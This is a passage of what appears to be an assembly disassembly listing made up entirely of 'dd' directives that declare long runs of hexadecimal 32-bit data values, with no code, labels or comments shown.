		dd 76041B64h, 9B68D751h, 97F9BCD2h, 939A5F27h, 0CB2470F8h
		dd 0C90B3A73h, 0BBB5523h, 9755F9B2h, 5B5A28DFh,	0A190B730h
		dd 62F63A0Fh, 0AF4DFCBFh, 200D2C4h, 0A71BE593h,	0CEDB4997h
		dd 0DF84CBB8h, 0A32FB85Fh, 7AEF8545h, 83C61C87h, 166A7780h
		dd 38D10914h, 2045B832h, 7B1329A4h, 64AA31E3h, 18A50035h
		dd 56E1FFE9h, 0F9850112h, 0F26F2DB1h, 7E98C87Eh, 0ADB3B095h
		dd 0B3B71283h, 88FEB248h, 2FFBA086h, 81650C49h,	9F3D8688h
		dd 1FB94B0Bh, 0FF2630F7h, 4B4D028Dh, 36CF0412h,	3854BC0h
		dd 21095F8Ah, 0E6940258h, 113502DCh, 0D188F173h, 0FE402576h
		dd 0BE464AC0h, 8A07C244h, 0A4F50862h, 0EB85B42h, 3C606E4Bh
		dd 4CD2002Fh, 6CA23863h, 0BDA1287h, 6003E49Dh, 0CDB53119h
		dd 5FF6896Dh, 0BB6166A4h, 12B40C12h, 0C8598A3Fh, 9BA93000h
		dd 0DF4D59h, 5B8046C3h,	21E8B419h, 0E09DC6EEh, 950B06C5h
		dd 57663E1Ah, 9C773800h, 829ED717h, 0ADC900AEh,	0C29B5CB4h
		dd 0D43C8170h, 8D0F8847h, 0AEB38402h, 0D048B85Bh, 28B112FBh
		dd 8823991h, 0EE886517h, 0B9F97634h, 672F3F41h,	6DD9F004h
		dd 40057ABh, 82F49272h,	976A309Ch, 1D786973h, 9ED024FCh
		dd 0BF5E0024h, 0B9024068h, 35C8594Bh, 0A2FF0052h, 4C7A6B79h
		dd 4095BB8Bh, 2401BF6Ch, 0DE3759A6h, 0D747EE01h, 0E927388Eh
		dd 3700B308h, 36965EC8h, 0B4E94DBh, 0B1639380h,	94BB35D5h
		dd 49823915h, 0F881609Dh, 2AE4EAC2h, 0C4A4C8h, 198615B4h
		dd 4E9F1129h, 61D39912h, 0E6583BE3h, 0CEBF3805h, 8DE8041Ah
		dd 0BEE90409h, 0CB824CBCh, 235C5A57h, 0F631DE2Fh, 83B9A212h
		dd 0B78B4600h, 97998701h, 0BE743609h, 9AA407F6h, 1F93B073h
		dd 4DF2EC9h, 0DDAA0E34h, 0DFCA8173h, 890F5BF6h,	522E5622h
		dd 3255C9CAh, 5D4CC077h, 0B1894AADh, 18A506E1h,	0ACDD8A24h
		dd 0D061DB4Bh, 1025C084h, 0C6FD62D8h, 7F2B71A1h, 792C0057h
		dd 0A8F978Dh, 3D00A073h, 0B51C7619h, 1DF288FCh,	4B06BB50h
		dd 0CA625158h, 1079DE73h, 1197EA82h, 0CF55B5FFh, 37DC98Fh
		dd 98A7D756h, 483307h, 64EB6816h, 0B760506Fh, 0F88B7409h
		dd 14B82161h, 57F67067h, 0ED00DEB7h, 3F79DE17h,	6CBF0553h
		dd 0EA3A43EEh, 55E7B085h, 12A590E0h, 6029C99Dh,	8D1D917Bh
		dd 7BD332A9h, 29B8BE03h, 0A1571C7Eh, 7E727D85h,	0AEE937Fh
		dd 24BB870Fh, 1D89EEE3h, 39162B00h, 0CB0076AEh,	20A19832h
		dd 4BB91509h, 0E0C8F661h, 16D5BE4h, 61A1BB25h, 203779A6h
		dd 2C4BF9EFh, 0B40038E6h, 6347FA1Fh, 0F81DAD45h, 0F9892F89h
		dd 6169715Fh, 0E3F59D2Bh, 0F8BFD312h, 468999B2h, 0B7F6907Ch
		dd 0B70BE464h, 0EF3AE9F3h
		dd 0D8F66188h, 3557FA3Dh, 181BF154h, 7D330064h,	18AA5153h
		dd 81580F77h, 0C985C8C4h, 0D91847Fh, 305538AEh,	0CFCD5F8Ah
		dd 47F179C7h, 0C130935Dh, 1DE9279Dh, 1E12A771h,	0BA97B0E3h
		dd 6FBE9013h, 7EF605CFh, 6981C6E0h, 0B63A248Dh,	301BF230h
		dd 851D200Dh, 0A50BED15h, 0C80456E2h, 1EF509A2h, 0B3E2E556h
		dd 64BA5C3Bh, 9AC9FB89h, 28A0A0B8h, 0EEBF9600h,	5063E044h
		dd 9FDF79B3h, 0D002637h, 2D5C6603h, 0B2125A37h,	256B0390h
		dd 0DA715FE9h, 2F6679C2h, 7F6E7BE8h, 715B9125h,	38D7CB6Eh
		dd 97EEE7BEh, 107CEC1Ah, 0D6A45427h, 0A9041746h, 0BB22069Ah
		dd 0CABFC485h, 0FC05E7Ch, 121BDB81h, 0E37292CDh, 0D7007CEDh
		dd 1167A202h, 9D8D0153h, 5F4E6DD2h, 1DACD7A9h, 0B7F8008Ch
		dd 0BA36A7C4h, 60306440h, 0C1BDF45Dh, 0CD519505h, 70CFB309h
		dd 78DEB3E7h, 5395D0CCh, 3435A5A9h, 0A18E700h, 0BE6F416h
		dd 8D308F3Dh, 975DC6DFh, 0CDF50E12h, 0CD46E079h, 1BE84C47h
		dd 940CCE17h, 7DF7A703h, 0BF5202B0h, 0BCFC3D5h,	0F19E2B4Ch
		dd 5D7BF747h, 7012109Ch, 21FF0F75h, 2B5EE6ECh, 200EEFB6h
		dd 8DF72352h, 804B6CD7h, 7F4ACBEEh, 0F5DB005Dh,	570E5AC9h
		dd 0FF0144F1h, 2B6BD8A4h, 0A06F9C17h, 8F12E237h, 62BB732Fh
		dd 4E555B8Dh, 0A9DA5DC6h, 98F2EC46h, 0FC0F84DDh, 0BAA413BEh
		dd 3D09487Eh, 0BB092EA9h, 50924971h, 319D7502h,	261C5714h
		dd 3747366Bh, 506E8080h, 853156A1h, 5BBBE554h, 9735964Ah
		dd 4FBEBCF0h, 0FA0EC2F4h, 1956B9D7h, 0B0D4E72Fh, 209D013Eh
		dd 600525EDh, 24A58533h, 84F32C89h, 0FE13AB17h,	5FF0A5F7h
		dd 7B043A09h, 7C9B8627h, 0A205A6AAh, 29B4C19h, 6C017A9Eh
		dd 0D65C7BECh, 2DA76851h, 2000F2B7h, 8736EA7Eh,	0E84E11B4h
		dd 330000Ah, 0D22F725Bh, 0DB270776h, 0C9D78037h, 2E391822h
		dd 914C3757h, 2A58216h,	2FF15C55h, 96959466h, 817ACEC4h
		dd 5AE90B10h, 0CEDFDF3h, 0F24038E0h, 7969B545h,	9C5118F8h
		dd 0B4EA40F2h, 3B00F9A3h, 77D31C14h, 0E456505Fh, 0EA5A975Bh
		dd 3723795h, 6ADE8B41h,	2EA1FB14h, 498C98A4h, 0A64D4F0Fh
		dd 0D55EF085h, 2F0E07E2h, 1E9141DEh, 3699E172h,	209F0B5h
		dd 0C2F550D1h, 442F4E99h, 0C11B5B6Dh, 14078F7Ch, 0E4CB73A0h
		dd 85DB9EF8h, 0A8C99D23h, 93B74AA4h, 678A42A0h,	0E6BC8403h
		dd 0C0BBF6F5h, 5E12A464h, 713A8C6Ah, 0ACFDF807h, 0D7414533h
		dd 202FB0A4h, 0B7A1F903h, 0E5D64700h, 54332D20h, 0BB3512AFh
		dd 9B6BAA11h, 0B2001A23h, 0E01D056Bh, 0A8814BAFh, 81380D6h
		dd 0CBD160h, 0BB7126F7h, 9544D79Dh, 2EF02700h, 0C2B71258h
		dd 0F81A975Fh, 0E440E35Eh, 0B318B6h, 53714E27h,	0C19D8925h
		dd 15F2440h, 0CFBBD1FFh, 2E550FD9h, 8440CF28h, 842A9FAh
		dd 14BBB15Ah, 0B946ADD3h, 413AC97Fh, 6A155D0Eh,	89F45A2h
		dd 2900E19h, 784A53F2h,	6D709A7Bh, 0EA9400D7h, 9D037CE4h
		dd 485E063Dh, 16BCB7ADh, 8B60A904h, 46E971B5h, 52F18102h
		dd 0E6756151h, 0C09895FFh, 9D4F2950h, 134871B9h, 0AE98B715h
		dd 0E1853273h, 0EBD15635h, 0F9AD2C00h, 1CEF6DDh, 0ABB7801h
		dd 7A891BD7h, 0E6D3ACA2h, 0F5F8A0C8h, 0E56C12C8h, 5BA3E65Eh
		dd 48184CCh, 10D72EE3h,	5F85B94Bh, 0C0001D7Ah, 120AACDEh
		dd 0BB30C28Dh, 6A0C6E7Eh, 0E2C8ADFFh, 0A1823945h, 8A0522ADh
		dd 0A43D13D2h, 17BF0BA9h, 0A2F3F83Eh, 1E0283Ah,	973D1D7h
		dd 7F2DD19Dh, 218DF8C8h, 83262191h, 2AFA9861h, 13058C20h
		dd 567D726h, 90D9BD6Bh,	71E45BC1h, 18AD40C4h, 0FFCCA3B8h
		dd 0BD123343h, 0D7AC2E85h, 9E8D6DCh, 7C71CB39h,	586958B3h
		dd 59345887h, 0BC50C4A3h, 0E56980FBh, 657289h, 0BE9DA013h
		dd 0F5790434h, 97029F04h, 42ABF93Ah, 236995F1h,	5562101Bh
		dd 0C82B1922h, 0CBB185B8h, 9830B11Ch, 0AD3ED10Dh, 98E98015h
		dd 9A317FCBh, 388B779Dh, 602F2C54h, 0C201094Ch,	0CFDB5BFh
		dd 88ED5155h, 296F2919h, 455C72DFh, 809F7C1Ch, 549C066Ch
		dd 0B7AF1466h, 0FB049775h, 5653E95Fh, 0DFF8B9E1h, 671A9761h
		dd 82D04960h, 3A691197h, 23C09869h, 0E11C6260h,	0EBC06500h
		dd 7D02BD81h, 4BD5F82Ch, 0FC7A9D14h, 828413F1h,	9A4C7F79h
		dd 12B8709Fh, 0E66454BBh, 90A71081h, 12D66F44h,	5760D89h
		dd 92ECD382h, 0B271D098h, 0ABDDCC00h, 0D248E7A7h, 622DECE2h
		dd 55DE0260h, 1891CDB5h, 0A0C809Eh, 0BD016872h,	6F2E2928h
		dd 1341529Fh, 0AD0F39B9h, 0F6BE8DCh, 8C3FA23Dh,	18E7B702h
		dd 0E1044075h, 78FEB3FCh, 63028E50h, 39DC68C2h,	71CC82C4h
		dd 2030C41Dh, 0FC250C55h, 0FC0F54B8h, 0CAA2F600h, 0C436C7Eh
		dd 55C1017Bh, 0D43DB7BFh, 0FF202A1Ah, 0DAE9E6h,	16C4C85Dh
		dd 0C07ED6FEh, 8114CA24h, 5BEF2127h, 0DE36D22Bh, 0D37B16F0h
		dd 0E8ACA412h, 0AAB66D04h, 0EDB518BDh, 0F3AC8Ch, 0BF9D5369h
		dd 316FF92Fh, 2D5AA5ECh, 16380D90h, 0A7884E0Dh,	0C96FB06Eh
		dd 3A4801DCh, 18F4A034h, 78A72AF5h, 124AD921h, 0D9491FD6h
		dd 0CF90C3ADh, 582DE702h, 5C1354FFh, 6DD38109h,	44CF7167h
		dd 0F0504BB6h, 5B274001h, 0C18FCEB9h, 0FA302098h, 58CA8C92h
		dd 24023638h, 5F0862C8h, 53B74944h, 0DF3378C0h,	0EAB8A904h
		dd 87D0F820h, 4AC98D31h, 0AA6EAA32h, 78AA605Fh,	18019F4Bh
		dd 91C00B52h, 0C0420902h, 756B270Ah, 63B3FA12h,	40A1BB50h
		dd 5F135B08h, 56F9E1FFh, 0D40226B8h, 0D1BD3142h, 2D1C5723h
		dd 89557960h, 9D1BFD9Dh, 81C6AB59h, 0EB801627h,	4008888Dh
		dd 539BFB07h, 23576837h, 1285F781h, 2A34282Fh, 15E843D3h
		dd 8E5E33CBh, 8445649h,	0C3253095h, 45BCD42Ah, 1E9A5180h
		dd 0D804C399h, 0CF8B5240h, 9AAD19A0h, 70997B4h,	937062F3h
		dd 0FD10018Bh, 881287F4h, 488D2BB8h, 2159DE41h,	3599B33Ah
		dd 6EAF1DE5h, 6D100F3h,	98287F6Fh, 0A607152h, 96E28161h
		dd 55773FA2h, 0CA6A885Fh, 0E1105024h, 418B2BF9h, 8FF04543h
		dd 8A12F9A0h, 53FEBB4Ch, 451DC083h, 2FF55F05h, 20A50D20h
		dd 0BD7D00EDh, 3C0D9F26h, 0A000FAEEh, 0E0B00ABAh, 4A5FC2F8h
		dd 0BCBCAD6Ah, 0CEE102D7h, 0AB657A3Ah, 40ED8085h, 3E7568EEh
		dd 0A2D20323h, 3C8A4EA0h, 0F9A53C3Dh, 2358E646h, 5B2C2DBDh
		dd 5F568379h, 0E9D4B509h, 274E2572h, 0DFA4BB61h, 0C83EDAEAh
		dd 0F0D7C01Dh, 650208FEh, 2EB03871h, 25A15C18h,	0C2D84F7Bh
		dd 6AF301BEh, 0D6ECF99Ah, 8C46DE2Ch, 60CB0C00h,	3BE6CABAh
		dd 1219947Bh, 4EB0E707h, 0D5807CDBh, 9CAE3FF4h,	0C628B725h
		dd 4D68C4BFh, 5D890925h, 69FCAFCCh, 0A45D2848h,	0FF8E9CFCh
		dd 4754CB02h, 0C326B05Ch, 47187517h, 0B642F60Ah, 0ADF816F1h
		dd 1F3D8F75h, 0BF60DDC0h, 4AB77DE3h, 1C98C80Ch,	0C4AA351Eh
		dd 68C81140h, 9F77ED22h, 5F4848E6h, 24040EB4h, 222864C2h
		dd 23980BEFh, 56EB7356h, 180F1002h, 80725090h, 2F4100AEh
		dd 964CC5B8h, 26FD6116h, 0E897F376h, 24B18B32h,	0CB619DCFh
		dd 2A10477Eh, 85127149h, 699ABF0Ah, 4CE6A5Fh, 68B84739h
		dd 46B67E81h, 52FE282Ah, 0BFF650BCh, 0F2FC2F0h,	0F874A188h
		dd 7B3E43E9h, 0CBF900C8h, 0E884235Fh, 7B830FD1h, 259E80CEh
		dd 965C21C7h, 0A7E20B95h, 0F7C035EDh, 780168BDh, 8E0F4B8Dh
		dd 74AF2513h, 4607F67Ch, 19AB1FEBh, 38B453E5h, 106148F9h
		dd 5D657AB3h, 0D8BED924h
		dd 0DE5FBF44h, 2579CFF6h, 4C664D05h, 3D268976h,	5147D40Dh
		dd 0EC5156DBh, 964CDF5Ch, 938A3F70h, 0A1B22423h, 9933285Ah
		dd 38D38C5Eh, 93A7B91h,	32EEFB37h, 1D593D73h, 30014B18h
		dd 0DC748509h, 0B1E9B805h, 0E6E9BA9Dh, 10514289h, 4930F157h
		dd 0AD40524Dh, 31D2829Ah, 495A400Bh, 0D5F23F21h, 0DDFC64D0h
		dd 1B517200h, 0AD07E373h, 0F8FA5A32h, 0D780C2E0h, 69F756FFh
		dd 1D759C82h, 0BCE19655h, 0E409D411h, 0B6CF18Fh, 0D635541Ch
		dd 6C001A46h, 0C7F4BDEBh, 3E9020FBh, 83FCDA0Bh,	7A0D53C2h
		dd 4D89E7FCh, 6F5980C0h, 98ECBB49h, 0C8085B09h,	0DF009EC5h
		dd 72709DEAh, 233ED66h,	423A8694h, 895DB94Bh, 87285656h
		dd 11EE8160h, 210B9EB2h, 2D742BA9h, 0F7D0B29Ah,	8177E2Ch
		dd 4F280E31h, 0FC95F970h, 0DBB7E2F7h, 40CB6FF7h, 0B529F7A7h
		dd 7FD14A9Dh, 7844BD95h, 0A05B04B3h, 0D19F2935h, 30C86F26h
		dd 69BF5000h, 0BA5CD95Dh, 44F5520Eh, 0FBC5FA51h, 0EBC3352Bh
		dd 28A58D81h, 61D6B200h, 27EB4DB5h, 0BDC067EDh,	92FC9D0h
		dd 325F5423h, 5F2CF576h, 0FC4B5EC9h, 0D86F4A2Fh, 0F76FFB27h
		dd 2FB312E1h, 4113EAB7h, 83F59E0Bh, 90FAB37Dh, 26E43609h
		dd 167031F8h, 0E5CDA804h, 6FAF1295h, 7E771C25h,	79C79281h
		dd 602BB3E6h, 76F7807Bh, 53BFC670h, 9F097836h, 0FB223604h
		dd 7CAC323Dh, 5BC9BAB5h, 0E079AC2Ah, 1265CBh, 93BBD9AEh
		dd 5B27F937h, 0F44A65B8h, 0C763DBBEh, 0B5E0F03Dh, 5BD76BD4h
		dd 58710292h, 3DDBC18Bh, 12860A70h, 0B2543040h,	0D18996BAh
		dd 0EEB528E0h, 1C5B7CE7h, 0C7016941h, 0E52908D2h, 0A39D91BEh
		dd 5BAE7C27h, 0A7804A9Bh, 9D2914D8h, 48B2E8BCh,	9289F5F8h
		dd 5BA531F6h, 88B9783Ch, 0BB64E900h, 6687C846h,	0FC315F28h
		dd 76509212h, 1DE80B80h, 0ADCC224Dh, 91EDFF0Eh,	100E1447h
		dd 0AB33C084h, 9BFAE88h, 68AD2F11h, 9190F352h, 702A2D29h
		dd 12C9F433h, 0D0880F7Dh, 4452BB80h, 6D30DE25h,	6017648Dh
		dd 0F44A7354h, 0D9651DBBh, 1084BA16h, 0AC04AFCAh, 9D23C37Ah
		dd 0F4A14049h, 0FF1A13D4h, 0D734ACD1h, 0A2D25CB8h, 0DC698B76h
		dd 0FA80EF97h, 6AD471C9h, 0FC600227h, 526469E8h, 0F4C76703h
		dd 98ADE4A1h, 91906123h, 6F9380BEh, 630709A2h, 0C8368501h
		dd 0A6EF2097h, 4DC9FF0h, 23BF66C6h, 9600AECFh, 532F0951h
		dd 0B5010B90h, 1C141011h, 0AAC49Fh, 0AC1CBFD4h,	2C1A7CA0h
		dd 1F9B3703h, 0E896711Bh, 95245CFh, 4EE95F39h, 48559CFFh
		dd 0F64A23F2h, 0CF30F062h, 0F42903A2h, 0FEEC4113h, 25778795h
		dd 1D9EBA0Dh, 0C780C581h, 0E8C4169h, 56DD2A36h,	0AF6B2Bh
		dd 4AAFE35Bh, 1389A98Bh, 962AD185h, 0EC3B687Eh,	0A80A6292h
		dd 69A15688h, 87ACB77Fh, 0E076DB08h, 0D41CF6EFh, 0E88414Eh
		dd 0B4E21E0Bh, 0CF44823Bh, 0B2563A76h, 2FC409C4h, 0ACA6F752h
		dd 0DC3019B2h, 22F804C0h, 0AB6AB89Dh, 45EA8Ch, 0E01170B2h
		dd 10998D13h, 33169B02h, 0F52F69BDh, 554C2E4h, 7D09BBE8h
		dd 5B46F557h, 0A2F01297h, 0B5BD12B0h, 824D6BB1h, 6C20EA2Ah
		dd 82EC45h, 38C194E4h, 8B4E2160h, 0E6816600h, 615F1746h
		dd 5BEBBAB0h, 8EAF8D8h,	31551BDh, 0EF8071E4h, 229AADBCh
		dd 0CA049DB2h, 989AAC1Dh, 2FACDF54h, 99FDBA84h,	0C4041EEEh
		dd 810F9848h, 683DC704h, 87AC7831h, 51852904h, 2BF5301Dh
		dd 0CEB700C8h, 47BBD18Bh, 525F8F49h, 779878A8h,	86954AF5h
		dd 12245575h, 0B46AF380h, 0C121BD6Ch, 1644AC30h, 8852A92Dh
		dd 1F3AA414h, 1922E571h, 0E9022A49h, 0E49AFF35h, 9086CC7Fh
		dd 0A6205A67h, 9F1D2236h, 51082AE5h, 1D594823h,	0FFD044BFh
		dd 844DAD4Ah, 9489FE0h,	0F816A680h, 18E15B28h, 0E23A2FEAh
		dd 5F80068Dh, 1AEB1D81h, 6A3F49A6h, 17E090EDh, 2EBF16h
		dd 0B3012BEDh, 0DB816F5Eh, 0C8E8DA09h, 0AF705B40h, 674036EDh
		dd 147D13D0h, 0E49F9D73h, 9CEDEF01h, 7B0FE8B9h,	0B348127Ah
		dd 9B03F007h, 0AC7324DBh, 0C0074868h, 76C34F55h, 0AADE0F96h
		dd 60E9443Fh, 0B1A49857h, 2B6114C5h, 0B5C0BBC0h, 0B0DA0A84h
		dd 0ED24107Bh, 5F120375h, 9C9424ACh, 0FF254113h, 1BF846Ch
		dd 3CA0D5A9h, 669FE380h, 40BEF704h, 21523E80h, 97AE0008h
		dd 0E8F2BBB6h, 92952343h, 9398FF04h, 8C09F381h,	0CE2862ADh
		dd 0D4B99494h, 1EE3945Ah, 2103B05Ah, 8E06C082h,	149A95F2h
		dd 0B3604412h, 47B53055h, 0D62E6A3Fh, 7EDAC007h, 88128BFCh
		dd 542C056h, 3E5F8114h,	66801DDBh, 1AD31195h, 0E3401BB4h
		dd 15D2238h, 6661E140h,	2B921112h, 8A744F28h, 8CD7140h
		dd 1C4CCC95h, 659D0360h, 0BD72257Dh, 56610192h,	60F3E91Bh
		dd 0BE571650h, 159F40BBh, 0B5000FFFh, 7723C0EDh, 19C85A1h
		dd 356B829Dh, 2BAE4CAFh, 6FBA1416h, 650A25D6h, 473090Dh
		dd 0F410D4h, 5E453A5Bh,	0F4E17DC9h, 0C2DCAB25h,	512F5448h
		dd 206BB259h, 501E56FAh, 2F9B0413h, 3E1FAD8h, 89EB885Bh
		dd 0BBD570C8h, 1ACE3D20h, 5A770436h, 0B6605F6Ch, 0F5FBE20Dh
		dd 0F71631E4h, 21FEF333h, 0D2BF9C0h, 91B8CB2Dh,	70556701h
		dd 39F28C3Ah, 4AE76884h, 1047AD7Eh, 0B7120110h,	0FE60FA6Ah
		dd 951A2995h, 60DF16BAh, 1204BB8Ch, 0C039D5CEh,	0F9BD0B61h
		dd 0BF032B42h, 10D21AFCh, 51FBE02Dh, 8A60403Ch,	0F3556D8h
		dd 0C0FB1B8Ch, 0BF53501Dh, 68F66403h, 3A8B5F14h, 0F9B451D9h
		dd 5A34FF10h, 55FC9E13h, 0C2291D04h, 0C48DBB15h, 4B00B32Eh
		dd 0CAD0C5ACh, 63348892h, 64BB012Fh, 0FD585911h, 7989B84Eh
		dd 0E66F0A41h, 0A0BD3E03h, 0FE614A2Eh, 0BA4AB37Fh, 95B9B4C8h
		dd 645F409Ah, 5440016h,	9B21D710h, 490B0251h, 0EE0FE98h
		dd 11C26012h, 5BE95B07h, 0FD79C419h, 71EB81Fh, 2A359C9Dh
		dd 50555931h, 72359579h, 8C801C91h, 2FDAF3AEh, 724DEA0Bh
		dd 3B24D161h, 6B54CF80h, 0DD47C457h, 2F19E400h,	14083773h
		dd 48E2C00Bh, 5B4C94E5h, 0CF1630BEh, 0AB92DAEDh, 0BF712DF3h
		dd 9D0902FBh, 0BFE05821h, 0FCEB08F1h, 746740C4h, 810017F6h
		dd 60C0B431h, 0B797319h, 892BB9BAh, 15DE65FEh, 344B5258h
		dd 0F4509B00h, 0A818F5C8h, 0CEB84D00h, 0E3A54313h, 0F1CC9591h
		dd 7D70844h, 0A11AAB0Ah, 0B3651012h, 84AC5B10h,	198C0895h
		dd 1D187080h, 5E3F515h,	0D98A2F21h, 6E91EA5Bh, 8C2B3489h
		dd 810519E2h, 36BAB4A3h, 34992680h, 0FB07459h, 0F653AC1Dh
		dd 26546FCBh, 5885BDC2h, 0E8680422h, 0B2128A07h, 0CA00051h
		dd 713D0826h, 8FB300E0h, 0FC498E56h, 0BC2F435Ch, 4FD24637h
		dd 8107FC60h, 12950417h, 0A0F2C21Bh, 0E28B4002h, 9D1704B2h
		dd 0FA858D1Bh, 1E0B537Eh, 0D3C0D738h, 9F03BFDAh, 902D85C1h
		dd 0AC58B850h, 0B06951A9h, 184D7FE6h, 0AE877C1h, 0B2D7E62Fh
		dd 0D47F301Bh, 556B8094h, 2D91EC82h, 8336D35Fh,	613696BBh
		dd 0B85BF98Ch, 141A00D4h, 71088A9Dh, 0E09535C5h, 97A74F30h
		dd 80173E16h, 23A8C2CFh, 22510C25h, 0B92D35C6h,	6E7725E7h
		dd 0E13DFCB2h, 895E9E6Fh, 0B2447D92h, 5F30F397h, 43801D11h
		dd 9490A37Dh, 4591AD04h, 80E0AA23h, 91C971Ah, 4404B02Dh
		dd 89D085A6h, 247B04A0h, 2584A3D0h, 6EC01E68h, 0CABEB2C2h
		dd 0E9EB6FCFh, 9F077019h, 2CD86C7Bh, 6E7100A3h,	8B3159E7h
		dd 210BBBD8h, 54366141h, 31BDC2AFh, 0BF59265Ch,	0F096BADBh
		dd 6CC83B73h, 0FA6E5Fh
		dd 87DD507Ah, 4C293FA5h, 18C1D38Fh, 20C2DF46h, 0EC5DCA87h
		dd 8C0B09D5h, 0F9ED5D5Fh, 4684C49h, 1AEA0A34h, 4CD0B34Ah
		dd 26F110F0h, 0F3725630h, 5F04CA13h, 2909BD01h,	127B8AAAh
		dd 9FAAFBBFh, 9840DC24h, 0FE3FB28h, 0A93C4AC9h,	25B9D777h
		dd 0F32735A8h, 2D0ADE29h, 7A5822B1h, 132B30D9h,	0C08FAD44h
		dd 6043E021h, 0CC690042h, 99B79F2h, 385C92CEh, 8D8B1739h
		dd 0C25AD0EDh, 61071F41h, 554D56F9h, 0D361E401h, 4CD4FA6Ah
		dd 976579CDh, 7EB74509h, 55D81E81h, 213BF66Bh, 2EF98A6Dh
		dd 3EDB2A17h, 90D17780h, 51044672h, 5B56A987h, 0D21CDAFFh
		dd 77684C70h, 0A2000CCh, 0D41C870Eh, 0B52A8930h, 5B9AB075h
		dd 8BDF952h, 0A527918Dh, 0A77C5562h, 34C902F6h,	0B38C3109h
		dd 41F4EF7Dh, 7375D27Ch, 133800ECh, 0FE193505h,	98120077h
		dd 0B1042C81h, 71B77192h, 5CD28001h, 0F2827AD9h, 0B8281F00h
		dd 0E443C463h, 67F905F7h, 0FF5BC58Dh, 42BDE8DCh, 0E381800Eh
		dd 3E85D194h, 91270176h, 0BB418EF4h, 0F57529D7h, 255A4ED8h
		dd 0C6CD74A9h, 71601964h, 39169E1Ch, 0ABAD68E6h, 8C1CACh
		dd 5FF71A49h, 123CF1BFh, 521E02BDh, 51BD5CC8h, 62E72A60h
		dd 0E6A3EBB0h, 0D94B2203h, 1219074Fh, 485A56Ah,	132C6930h
		dd 0BB3900AEh, 52B19E62h, 6D55A0AAh, 6F48C016h,	46C541C1h
		dd 33923D95h, 23C2B75Bh, 0C0789E9Bh, 40CC9714h,	855A3746h
		dd 662E5920h, 785100D1h, 0B32FD9EBh, 51953E2Ch,	870FE1EBh
		dd 88A62C08h, 0DD8A8902h, 0F8A6107Bh, 4E4100D6h, 0BD03916Bh
		dd 0A2B50EE5h, 5E276948h, 123E7112h, 5DCDC053h,	2E5F8119h
		dd 0DC03F634h, 84C6D068h, 0EEBC52E9h, 9BD2D5Ah,	9A029E89h
		dd 9ED5E614h, 0D4CD9E3Eh, 82155Fh, 0B5290232h, 0E980C85Dh
		dd 8CF89FDFh, 99D2313h,	6DC1B892h, 0B0FFE047h, 315FCCFh
		dd 3894399Dh, 2D308E8Dh, 0F07BDE4Dh, 0E822EE9Fh, 16770492h
		dd 84D852DFh, 0EA69C484h, 1483C69Eh, 0F802848Ch, 6806803Bh
		dd 68A78BA0h, 0E172F414h, 0F299B66Fh, 0A72B59B6h, 84F043F3h
		dd 70790099h, 0CDD7DCDEh, 0C074814Eh, 4AF28F12h, 0AF9353ACh
		dd 44F59F60h, 0B8DD1633h, 25A1E8FEh, 52CE4155h,	8B80592Ch
		dd 0B77ADC93h, 0D658567Dh, 0BDA6509Ah, 0E0ED204Ah, 8990BBE8h
		dd 221FE528h, 0C36FD1BCh, 0D0F4EBC0h, 0B834839Bh, 2EA371D5h
		dd 847EC1h, 1F2F48FBh, 85EEB2E4h, 90BE1500h, 1E417D32h
		dd 3D9E0013h, 2CCDDE59h, 0CA00EB83h, 0BA4E815Ch, 5FA0F3h
		dd 0B156E5DCh, 79D958ABh, 0DAF6BB00h, 6CEB73D8h, 0FC4E0093h
		dd 0B5E4A4FFh, 0DC002351h, 60669CC1h, 2106B56h,	13DDA857h
		dd 55C0F4A7h, 0BE00F6EFh, 4ECF8548h, 0EA444582h, 42FC002Eh
		dd 0FA5EACC0h, 817B6DC6h, 40A6D907h, 4FC12A44h,	0F8D0C3AAh
		dd 0F3E00042h, 0D0491DBBh, 4133461Ch, 1D408E8h,	0BBFB0721h
		dd 202987AEh, 0AA180883h, 62602750h, 44101842h,	1A1871FBh
		dd 81F48301h, 79A8E406h, 21100998h, 83001238h, 0A13E1505h
		dd 33C7BF69h, 0C09888E5h, 4BA07164h, 19BBF760h,	11F04923h
		dd 0FF0300DBh, 8DD8E6BBh, 0E24D03CEh, 7824D076h, 75BD71B8h
		dd 0A10F90Eh, 14F821C6h, 3880AFA8h, 81568CC0h, 6C06251Eh
		dd 3C2DC466h, 21B16408h, 9D6880EAh, 253C6EBEh, 45CF0020h
		dd 9C79FA11h, 0E6EB770Dh, 0B53914BFh, 7018C62h,	0E0CC93FDh
		dd 4FD18050h, 107AB6F2h, 0D51C001Dh, 369BB9E5h,	450E8A9Dh
		dd 8AEA724Eh, 91819006h, 0A640D186h, 3B5231CCh,	7C80D797h
		dd 8F1A23CAh, 0E71E3B8Dh, 9428FEE4h, 21D7F70Ah,	4B03A09Ch
		dd 0E8B6E36Ch, 7A8593E5h, 0DF2D0004h, 43179BF8h, 5C01D032h
		dd 0FFD3A687h, 68D45A12h, 218F00F0h, 4C856D9Bh,	3F00ECE7h
		dd 485F8A6Eh, 46927Ch, 4776D6B7h, 3E091721h, 0AFE99500h
		dd 0FA356C2Ch, 0D67D000Ch, 0A7AB5D5Ch, 78005627h, 760DD4AAh
		dd 643A4Ch, 2DEAC25Fh, 3B8494A3h, 0C7CD100Fh, 0EF4360E7h
		dd 63457Ch, 0E805DED4h,	60EEE22h, 0B876BB74h, 7BB0D81Ch
		dd 0DC9A4180h, 0CCAA39EAh, 0FE21D108h, 5E307BE6h, 4F327A09h
		dd 0F7450367h, 84BEA6C2h, 0EDA0B9F8h, 0CE872CDDh, 67202D17h
		dd 33BCCA34h, 0F408FC6Fh, 0FA9210Fh, 99F5E42Dh,	90320380h
		dd 0DB3D1829h, 11EE50C7h, 0BC5828D9h, 2D721218h, 110C6723h
		dd 0AAC07F3h, 4DF06A2Dh, 234A9Bh, 2A593A13h, 0E1B0651Eh
		dd 2DEC3837h, 22748F86h, 9F9DCCBh, 2D1030DEh, 0FC4667E4h
		dd 0AE00F222h, 0D802D08h, 1FA0DB82h, 8360A736h,	0D73B55EDh
		dd 0CB065C19h, 2DFC6161h, 8EBA00F0h, 0A1CEC903h, 0F600B632h
		dd 859C5994h, 22E18155h, 730FA46h, 0CE63DC7h, 438A17B1h
		dd 72C3005Dh, 53B6957Dh, 74D303Ah, 0CC395BB7h, 0D943E803h
		dd 0CBEC985h, 0CE757B08h, 0CFD1FC21h, 99012118h, 4D679F78h
		dd 0D486CC27h, 503D6FE1h, 0DE1960C6h, 0A32E0079h, 39861F1Ah
		dd 0CE00A7F6h, 0D69AD39Ch, 0AEAAC8h, 0E4E38CB0h, 2254C266h
